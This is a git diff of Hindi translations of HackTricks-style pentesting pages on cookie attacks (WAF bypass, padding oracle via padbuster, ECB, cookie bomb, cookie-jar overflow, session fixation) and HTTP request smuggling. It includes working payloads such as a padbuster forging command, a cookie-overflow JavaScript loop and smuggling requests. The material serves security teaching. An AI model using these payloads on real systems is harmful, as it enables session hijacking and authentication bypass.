यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, संभावित रूप से सुरक्षा उपायों को बायपास करते हुए। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाता है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है।
|
||||
|
||||
### कुकीज़ $version और WAF बायपास
|
||||
|
||||
@ -205,31 +205,31 @@ Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
यह WAF को बायपास करने की अनुमति दे सकता है जैसे कि इस उदाहरण में:
|
||||
जो एक WAF को बायपास करने की अनुमति दे सकता है जैसे कि इस उदाहरण में:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### अतिरिक्त कमजोर कुकीज जांच
|
||||
### अतिरिक्त संवेदनशील कुकीज जांच
|
||||
|
||||
#### **बुनियादी जांच**
|
||||
|
||||
- **कुकी** हर बार जब आप **लॉगिन** करते हैं, **एक जैसी** होती है।
|
||||
- **कुकी** हर बार जब आप **लॉगिन** करते हैं, तो **एक जैसी** होती है।
|
||||
- लॉग आउट करें और उसी कुकी का उपयोग करने की कोशिश करें।
|
||||
- एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉग इन करने की कोशिश करें।
|
||||
- एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉगिन करने की कोशिश करें।
|
||||
- जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने की कोशिश करें।
|
||||
- लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने की कोशिश करें और देखें कि क्या आप समानताएँ देख सकते हैं।
|
||||
- यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के।
|
||||
- यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और संवेदनशील हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के।
|
||||
- जांचें कि क्या पिछली कुकी काम करती है, भले ही आप पासवर्ड बदल दें।
|
||||
|
||||
#### **उन्नत कुकीज हमले**
|
||||
|
||||
यदि लॉग इन करते समय कुकी वही (या लगभग वही) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
|
||||
यदि कुकी लॉगिन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
|
||||
|
||||
- बहुत सारे **खाते** बनाने की कोशिश करें जिनके उपयोगकर्ता नाम बहुत **समान** हैं और यह अनुमान लगाने की कोशिश करें कि एल्गोरिदम कैसे काम कर रहा है।
|
||||
- **उपयोगकर्ता नाम को ब्रूटफोर्स** करने की कोशिश करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप "**Bmin**" उपयोगकर्ता नाम के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएँगे उनमें से एक "**admin**" की होगी।
|
||||
- **उपयोगकर्ता नाम को ब्रूटफोर्स** करने की कोशिश करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप "**Bmin**" उपयोगकर्ता नाम के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आजमाएंगे उनमें से एक "**admin**" की होगी।
|
||||
- **पैडिंग** **ओरकल** की कोशिश करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें।
|
||||
|
||||
**पैडिंग ओरकल - पैडबस्टर उदाहरण**
|
||||
@ -246,7 +246,7 @@ Padbuster कई प्रयास करेगा और आपसे पू
|
||||
|
||||
फिर यह कुकी को डिक्रिप्ट करना शुरू करेगा (इसमें कई मिनट लग सकते हैं)
|
||||
|
||||
यदि हमला सफलतापूर्वक किया गया है, तो आप अपनी पसंद के एक स्ट्रिंग को एन्क्रिप्ट करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि आप **encrypt** **user=administrator** करना चाहते हैं।
|
||||
यदि हमला सफलतापूर्वक किया गया है, तो आप अपनी पसंद की एक स्ट्रिंग को एन्क्रिप्ट करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि आप **encrypt** **user=administrator** करना चाहते हैं।
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
@ -264,8 +264,8 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
||||
|
||||
**ECB**
|
||||
|
||||
यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है, तो यह कमजोर हो सकता है।\
|
||||
जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है, वह हमेशा एक समान होनी चाहिए।
|
||||
यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है तो यह कमजोर हो सकता है।\
|
||||
जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है वह हमेशा एक समान होनी चाहिए।
|
||||
|
||||
**कैसे पता करें और हमला करें:**
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**`Cookie bomb`** में **एक डोमेन और इसके उपडोमेन में एक महत्वपूर्ण संख्या में बड़े कुकीज़ जोड़ना शामिल है जो एक उपयोगकर्ता को लक्षित करता है**। इस क्रिया का परिणाम यह होता है कि पीड़ित **सर्वर को बड़े HTTP अनुरोध भेजता है**, जिन्हें बाद में **सर्वर द्वारा अस्वीकृत कर दिया जाता है**। इसका परिणाम यह होता है कि उस डोमेन और इसके उपडोमेन में एक उपयोगकर्ता को लक्षित करते हुए सेवा से इनकार (DoS) उत्पन्न होता है।
|
||||
**`Cookie bomb`** में **एक डोमेन और इसके उपडोमेन में एक महत्वपूर्ण संख्या में बड़े कुकीज़ जोड़ना शामिल है जो एक उपयोगकर्ता को लक्षित करता है**। इस क्रिया का परिणाम यह होता है कि पीड़ित **सर्वर को बड़े HTTP अनुरोध भेजता है**, जिन्हें बाद में **सर्वर द्वारा अस्वीकृत कर दिया जाता है**। इसका परिणाम यह होता है कि उस डोमेन और इसके उपडोमेन में एक उपयोगकर्ता को विशेष रूप से लक्षित करते हुए सेवा से इनकार (DoS) उत्पन्न होता है।
|
||||
|
||||
एक अच्छा **उदाहरण** इस लेख में देखा जा सकता है: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
ब्राउज़रों के पास एक **सीमा होती है कि वे एक पृष्ठ के लिए कितने कुकीज़ संग्रहीत कर सकते हैं**। फिर, यदि किसी कारणवश आपको **एक कुकी को गायब करना** है, तो आप **कुकी जार को ओवरफ्लो** कर सकते हैं क्योंकि सबसे पुरानी कुकीज़ पहले हटा दी जाएंगी:
|
||||
ब्राउज़र के पास एक **सीमा होती है कि वे एक पृष्ठ के लिए कितने कुकीज़ स्टोर कर सकते हैं**। फिर, यदि किसी कारणवश आपको **एक कुकी को गायब करना** है, तो आप **कुकी जार को ओवरफ्लो** कर सकते हैं क्योंकि सबसे पुरानी कुकीज़ पहले हटा दी जाएंगी:
|
||||
```javascript
|
||||
// Set many cookies
|
||||
for (let i = 0; i < 700; i++) {
|
||||
@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
|
||||
ध्यान दें, कि तीसरे पक्ष के कुकीज़ जो एक अलग डोमेन की ओर इशारा करते हैं, उन्हें अधिलेखित नहीं किया जाएगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> यह हमला **HttpOnly कुकीज़ को अधिलेखित करने के लिए भी उपयोग किया जा सकता है क्योंकि आप इसे हटा सकते हैं और फिर इसे उस मान के साथ रीसेट कर सकते हैं जो आप चाहते हैं**।
|
||||
> यह हमला **HttpOnly कुकीज़ को अधिलेखित करने के लिए भी उपयोग किया जा सकता है क्योंकि आप इसे हटा सकते हैं और फिर इसे उस मान के साथ रीसेट कर सकते हैं जिसे आप चाहते हैं**।
|
||||
>
|
||||
> इसे [**इस पोस्ट में एक प्रयोगशाला के साथ**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/) जांचें।
|
||||
|
||||
|
@ -14,21 +14,21 @@
|
||||
यह खतरनाक हो सकता है क्योंकि हमलावर सक्षम हो सकता है:
|
||||
|
||||
- **शिकार की कुकी को हमलावर के खाते में स्थिर करना** ताकि यदि उपयोगकर्ता ध्यान न दे, **वह हमलावर के खाते में क्रियाएँ करेगा** और हमलावर कुछ दिलचस्प जानकारी प्राप्त कर सकता है (प्लेटफ़ॉर्म पर उपयोगकर्ता के खोज इतिहास की जांच करना, शिकार अपने खाते में अपना क्रेडिट कार्ड सेट कर सकता है...)
|
||||
- यदि **कुकी लॉगिन के बाद नहीं बदलती है**, तो हमलावर बस **एक कुकी को स्थिर कर सकता है (सत्र-स्थिरता)**, शिकार के लॉगिन करने की प्रतीक्षा कर सकता है और फिर **उस कुकी का उपयोग करके शिकार के रूप में लॉगिन कर सकता है**।
|
||||
- यदि **कुकी लॉगिन के बाद नहीं बदलती है**, तो हमलावर बस **एक कुकी को स्थिर कर सकता है (सत्र-स्थिरीकरण)**, शिकार के लॉगिन करने की प्रतीक्षा कर सकता है और फिर **उस कुकी का उपयोग करके शिकार के रूप में लॉगिन कर सकता है**।
|
||||
- कभी-कभी, भले ही सत्र कुकीज़ बदलती हैं, हमलावर पिछले को उपयोग कर सकता है और उसे नया भी प्राप्त होगा।
|
||||
- यदि **कुकी कुछ प्रारंभिक मान सेट कर रही है** (जैसे कि फ्लास्क में जहां **कुकी** **सत्र का CSRF टोकन सेट कर सकती है और यह मान शिकार के लॉगिन करने के बाद बनाए रखा जाएगा), तो **हमलावर इस ज्ञात मान को सेट कर सकता है और फिर इसका दुरुपयोग कर सकता है** (उस परिदृश्य में, हमलावर फिर उपयोगकर्ता को CSRF अनुरोध करने के लिए मजबूर कर सकता है क्योंकि वह CSRF टोकन जानता है)।
|
||||
- मान सेट करने के समान, हमलावर एक अनधिकृत कुकी भी प्राप्त कर सकता है जो सर्वर द्वारा उत्पन्न होती है, उससे CSRF टोकन प्राप्त कर सकता है और इसका उपयोग कर सकता है।
|
||||
- मान सेट करने के समान, हमलावर एक अनधिकृत कुकी प्राप्त कर सकता है जो सर्वर द्वारा उत्पन्न होती है, उससे CSRF टोकन प्राप्त कर सकता है और इसका उपयोग कर सकता है।
|
||||
|
||||
### Cookie Order
|
||||
|
||||
जब एक ब्राउज़र को एक ही नाम की दो कुकीज़ प्राप्त होती हैं जो **आंशिक रूप से समान दायरे को प्रभावित करती हैं** (डोमेन, उपडोमेन और पथ), तो **ब्राउज़र दोनों कुकी के मान भेजेगा** जब दोनों अनुरोध के लिए मान्य हों।
|
||||
जब एक ब्राउज़र को एक ही नाम की दो कुकीज़ प्राप्त होती हैं जो **आंशिक रूप से समान दायरे** (डोमेन, उपडोमेन और पथ) को प्रभावित करती हैं, तो **ब्राउज़र दोनों कुकी के मान भेजेगा** जब दोनों अनुरोध के लिए मान्य हों।
|
||||
|
||||
इस पर निर्भर करते हुए कि किसके पास **सबसे विशिष्ट पथ** है या कौन सा **पुराना है**, ब्राउज़र **पहले कुकी का मान सेट करेगा** और फिर दूसरे का मान जैसे: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
अधिकतर **वेबसाइटें केवल पहले मान का उपयोग करेंगी**। फिर, यदि एक हमलावर कुकी सेट करना चाहता है, तो इसे किसी अन्य के सेट होने से पहले सेट करना बेहतर है या इसे अधिक विशिष्ट पथ के साथ सेट करना चाहिए।
|
||||
अधिकांश **वेबसाइटें केवल पहले मान का उपयोग करेंगी**। फिर, यदि एक हमलावर कुकी सेट करना चाहता है, तो इसे किसी अन्य के सेट होने से पहले सेट करना बेहतर है या इसे अधिक विशिष्ट पथ के साथ सेट करना चाहिए।
|
||||
|
||||
> [!WARNING]
|
||||
> इसके अलावा, **एक अधिक विशिष्ट पथ में कुकी सेट करने की क्षमता** बहुत दिलचस्प है क्योंकि आप **शिकार को उसकी कुकी के साथ काम करने के लिए मजबूर कर सकते हैं सिवाय उस विशिष्ट पथ के जहां दुर्भावनापूर्ण कुकी सेट की गई होगी।**
|
||||
> इसके अलावा, **एक अधिक विशिष्ट पथ में कुकी सेट करने की क्षमता** बहुत दिलचस्प है क्योंकि आप **शिकार को उसकी कुकी के साथ काम करने के लिए मजबूर कर सकते हैं सिवाय उस विशिष्ट पथ के जहां दुर्भावनापूर्ण कुकी सेट की जाएगी**।
|
||||
|
||||
### Protection Bypass
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### पहले-अनुरोध सत्यापन
|
||||
|
||||
जब अनुरोधों को रूट किया जाता है, तो रिवर्स प्रॉक्सी **होस्ट हेडर** पर निर्भर हो सकते हैं ताकि गंतव्य बैक-एंड सर्वर का निर्धारण किया जा सके, अक्सर उन होस्टों की एक व्हाइटलिस्ट पर निर्भर करते हैं जिन्हें पहुंच की अनुमति है। हालांकि, कुछ प्रॉक्सियों में एक कमजोर बिंदु है जहां व्हाइटलिस्ट केवल कनेक्शन में प्रारंभिक अनुरोध पर लागू होती है। परिणामस्वरूप, हमलावर इसका लाभ उठाकर पहले एक अनुमत होस्ट पर अनुरोध कर सकते हैं और फिर उसी कनेक्शन के माध्यम से एक आंतरिक साइट का अनुरोध कर सकते हैं:
|
||||
जब अनुरोधों को रूट किया जाता है, तो रिवर्स प्रॉक्सी **होस्ट हेडर** पर निर्भर कर सकती हैं ताकि गंतव्य बैक-एंड सर्वर का निर्धारण किया जा सके, अक्सर उन होस्टों की एक व्हाइटलिस्ट पर निर्भर करते हुए जिन्हें एक्सेस की अनुमति है। हालाँकि, कुछ प्रॉक्सियों में एक कमजोर बिंदु है जहाँ व्हाइटलिस्ट केवल कनेक्शन में प्रारंभिक अनुरोध पर लागू होती है। परिणामस्वरूप, हमलावर इसका लाभ उठाकर पहले एक अनुमत होस्ट पर अनुरोध कर सकते हैं और फिर उसी कनेक्शन के माध्यम से एक आंतरिक साइट का अनुरोध कर सकते हैं:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
|
@ -11,11 +11,11 @@
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> यदि एक संदेश दोनों Transfer-Encoding हेडर फ़ील्ड और Content-Length हेडर फ़ील्ड के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
|
||||
> यदि एक संदेश को दोनों Transfer-Encoding हेडर फ़ील्ड और Content-Length हेडर फ़ील्ड के साथ प्राप्त किया जाता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को बाइट्स में दर्शाता है, जो प्राप्तकर्ता को भेजा गया है।
|
||||
> Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को बाइट्स में इंगित करता है, जो प्राप्तकर्ता को भेजा गया है।
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
@ -31,8 +31,8 @@
|
||||
|
||||
याद रखें कि HTTP में **एक नई पंक्ति का वर्ण 2 बाइट्स से बना होता है:**
|
||||
|
||||
- **Content-Length**: यह हेडर **बॉडी** के **बाइट्स** की **संख्या** को दर्शाने के लिए **दशमलव संख्या** का उपयोग करता है। बॉडी को अंतिम वर्ण में समाप्त होने की उम्मीद होती है, **अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं होती**।
|
||||
- **Transfer-Encoding:** यह हेडर **बॉडी** में **हेक्साडेसिमल संख्या** का उपयोग करता है ताकि **अगले टुकड़े** के **बाइट्स** की **संख्या** को दर्शाया जा सके। **टुकड़ा** को **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन यह नई पंक्ति **लंबाई संकेतक** द्वारा **गिनी नहीं जाती**। इस ट्रांसफर विधि को **0 आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों**: `0`
|
||||
- **Content-Length**: यह हेडर **बॉडी** के **बाइट्स** की **संख्या** को इंगित करने के लिए **दशमलव संख्या** का उपयोग करता है। बॉडी को अंतिम वर्ण में समाप्त होने की उम्मीद होती है, **अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं होती**।
|
||||
- **Transfer-Encoding:** यह हेडर **बॉडी** में **हेक्साडेसिमल संख्या** का उपयोग करता है ताकि **अगले टुकड़े** के **बाइट्स** की **संख्या** को इंगित किया जा सके। **टुकड़ा** को **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन यह नई पंक्ति **लंबाई संकेतक** द्वारा **गिनी नहीं जाती**। इस ट्रांसफर विधि को **0 के आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों**: `0`
|
||||
- **Connection**: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर **`Connection: keep-alive`** का उपयोग करने की सिफारिश की जाती है।
|
||||
|
||||
## Basic Examples
|
||||
@ -40,7 +40,7 @@
|
||||
> [!TIP]
|
||||
> जब Burp Suite के साथ इसका शोषण करने की कोशिश कर रहे हों तो **`Update Content-Length` और `Normalize HTTP/1 line endings`** को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत सामग्री-लंबाई का दुरुपयोग करते हैं।
|
||||
|
||||
HTTP अनुरोध स्मगलिंग हमलों को अस्पष्ट अनुरोध भेजकर तैयार किया जाता है जो फ्रंट-एंड और बैक-एंड सर्वरों के बीच `Content-Length` (CL) और `Transfer-Encoding` (TE) हेडरों की व्याख्या में असमानताओं का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अनूठा संयोजन दर्शाता है। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।
|
||||
HTTP अनुरोध स्मगलिंग हमलों को अस्पष्ट अनुरोध भेजकर तैयार किया जाता है जो फ्रंट-एंड और बैक-एंड सर्वरों के बीच `Content-Length` (CL) और `Transfer-Encoding` (TE) हेडरों की व्याख्या में असमानताओं का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अद्वितीय संयोजन दर्शाता है। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।
|
||||
|
||||
### Basic Examples of Vulnerability Types
|
||||
|
||||
@ -57,7 +57,7 @@ HTTP अनुरोध स्मगलिंग हमलों को अस
|
||||
|
||||
- हमलावर एक अनुरोध भेजता है जहाँ `Content-Length` हेडर का मान वास्तविक सामग्री की लंबाई से मेल नहीं खाता।
|
||||
- फ्रंट-एंड सर्वर `Content-Length` मान के आधार पर पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
|
||||
- बैक-एंड सर्वर `Transfer-Encoding: chunked` हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, अगला अनुरोध के रूप में व्याख्यायित करता है।
|
||||
- बैक-एंड सर्वर `Transfer-Encoding: chunked` हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, बाद के अनुरोध के रूप में व्याख्यायित करता है।
|
||||
- **उदाहरण:**
|
||||
|
||||
```
|
||||
@ -81,7 +81,7 @@ Foo: x
|
||||
|
||||
- हमलावर एक टुकड़ा अनुरोध भेजता है जहाँ टुकड़े का आकार (`7b`) और वास्तविक सामग्री की लंबाई (`Content-Length: 4`) मेल नहीं खाती।
|
||||
- फ्रंट-एंड सर्वर, `Transfer-Encoding` का सम्मान करते हुए, पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
|
||||
- बैक-एंड सर्वर, `Content-Length` का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (`7b` बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित अगला अनुरोध के भाग के रूप में छोड़ देता है।
|
||||
- बैक-एंड सर्वर, `Content-Length` का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (`7b` बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित बाद के अनुरोध के भाग के रूप में छोड़ देता है।
|
||||
- **उदाहरण:**
|
||||
|
||||
```
|
||||
@ -109,7 +109,7 @@ x=
|
||||
|
||||
- हमलावर एक अनुरोध भेजता है जिसमें धोखे के `Transfer-Encoding` हेडर होते हैं।
|
||||
- जिस सर्वर (फ्रंट-एंड या बैक-एंड) को धोखे को पहचानने में विफलता होती है, उस पर CL.TE या TE.CL कमजोरी का लाभ उठाया जा सकता है।
|
||||
- अनुरोध का अप्रसंस्कृत भाग, जैसा कि एक सर्वर द्वारा देखा जाता है, एक अगला अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।
|
||||
- अनुरोध का अनप्रोसेस्ड भाग, जैसा कि एक सर्वर द्वारा देखा जाता है, एक बाद के अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।
|
||||
- **उदाहरण:**
|
||||
|
||||
```
|
||||
@ -146,7 +146,7 @@ Normal Request
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- उन परिदृश्यों को संदर्भित करता है जहाँ `Content-Length` हेडर मौजूद है और इसका मान शून्य के अलावा है, यह दर्शाता है कि अनुरोध शरीर में सामग्री है। बैक-एंड `Content-Length` हेडर को अनदेखा करता है (जिसे 0 के रूप में माना जाता है), लेकिन फ्रंट-एंड इसे पार्स करता है।
|
||||
- उन परिदृश्यों को संदर्भित करता है जहाँ `Content-Length` हेडर मौजूद है और इसका मान शून्य के अलावा है, यह इंगित करता है कि अनुरोध शरीर में सामग्री है। बैक-एंड `Content-Length` हेडर को अनदेखा करता है (जिसे 0 के रूप में माना जाता है), लेकिन फ्रंट-एंड इसे पार्स करता है।
|
||||
- यह समझने और स्मगलिंग हमलों को तैयार करने में महत्वपूर्ण है, क्योंकि यह प्रभावित करता है कि सर्वर अनुरोध के अंत को कैसे निर्धारित करते हैं।
|
||||
- **उदाहरण:**
|
||||
|
||||
@ -187,9 +187,9 @@ EMPTY_LINE_HERE
|
||||
|
||||
उदाहरण के लिए, जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** वर्ण भेजना संभव था और इससे सर्वर **टूट** जाएगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
|
||||
|
||||
#### हॉप-बाय-हॉप हेडर के माध्यम से मजबूर करना
|
||||
#### हॉप-बाय-हॉप हेडर्स के माध्यम से मजबूर करना
|
||||
|
||||
हॉप-बाय-हॉप हेडर का दुरुपयोग करते हुए आप प्रॉक्सी को **हेडर Content-Length या Transfer-Encoding को हटाने के लिए संकेत दे सकते हैं ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके**।
|
||||
हॉप-बाय-हॉप हेडर्स का दुरुपयोग करते हुए आप प्रॉक्सी को **हेडर Content-Length या Transfer-Encoding को हटाने के लिए संकेत दे सकते हैं ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके**।
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -224,7 +224,7 @@ A
|
||||
|
||||
- **Observation:**
|
||||
- फ्रंट-एंड सर्वर `Content-Length` के आधार पर अनुरोध को संसाधित करता है और संदेश को समय से पहले काट देता है।
|
||||
- बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा करता है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
|
||||
- बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा कर रहा है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
|
||||
|
||||
- **Indicators:**
|
||||
- प्रतिक्रिया में टाइमआउट या लंबी देरी।
|
||||
@ -249,8 +249,8 @@ X
|
||||
```
|
||||
|
||||
- **Observation:**
|
||||
- फ्रंट-एंड सर्वर `Transfer-Encoding` के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को आगे बढ़ाता है।
|
||||
- बैक-एंड सर्वर, जो `Content-Length` के आधार पर एक संदेश की अपेक्षा करता है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
|
||||
- फ्रंट-एंड सर्वर `Transfer-Encoding` के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को अग्रेषित करता है।
|
||||
- बैक-एंड सर्वर, जो `Content-Length` के आधार पर एक संदेश की अपेक्षा कर रहा है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
|
||||
|
||||
### Other Methods to Find Vulnerabilities
|
||||
|
||||
@ -259,9 +259,9 @@ X
|
||||
- **Using Automated Tools:**
|
||||
- Burp Suite के 'HTTP Request Smuggler' एक्सटेंशन जैसे उपकरण स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं, विभिन्न प्रकार के अस्पष्ट अनुरोध भेजकर और प्रतिक्रियाओं का विश्लेषण करके।
|
||||
- **Content-Length Variance Tests:**
|
||||
- विभिन्न `Content-Length` मानों के साथ अनुरोध भेजें जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
|
||||
- ऐसे अनुरोध भेजें जिनमें भिन्न `Content-Length` मान हों जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- अस्पष्ट या गलत `Transfer-Encoding` हेडर के साथ अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेरों पर कैसे प्रतिक्रिया करते हैं।
|
||||
- अस्पष्ट या गलत `Transfer-Encoding` हेडर वाले अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेरों पर कैसे प्रतिक्रिया करते हैं।
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
@ -273,15 +273,15 @@ X
|
||||
|
||||
- **Distinct Network Connections:** "हमला" और "सामान्य" अनुरोधों को अलग-अलग नेटवर्क कनेक्शनों के माध्यम से भेजा जाना चाहिए। दोनों के लिए एक ही कनेक्शन का उपयोग करना कमजोरियों की उपस्थिति को मान्य नहीं करता है।
|
||||
- **Consistent URL and Parameters:** दोनों अनुरोधों के लिए समान URLs और पैरामीटर नामों का उपयोग करने का प्रयास करें। आधुनिक एप्लिकेशन अक्सर URL और पैरामीटर के आधार पर अनुरोधों को विशिष्ट बैक-एंड सर्वरों पर रूट करते हैं। इन्हें मेल करने से यह संभावना बढ़ती है कि दोनों अनुरोधों को एक ही सर्वर द्वारा संसाधित किया जाएगा, जो सफल हमले के लिए एक पूर्वापेक्षा है।
|
||||
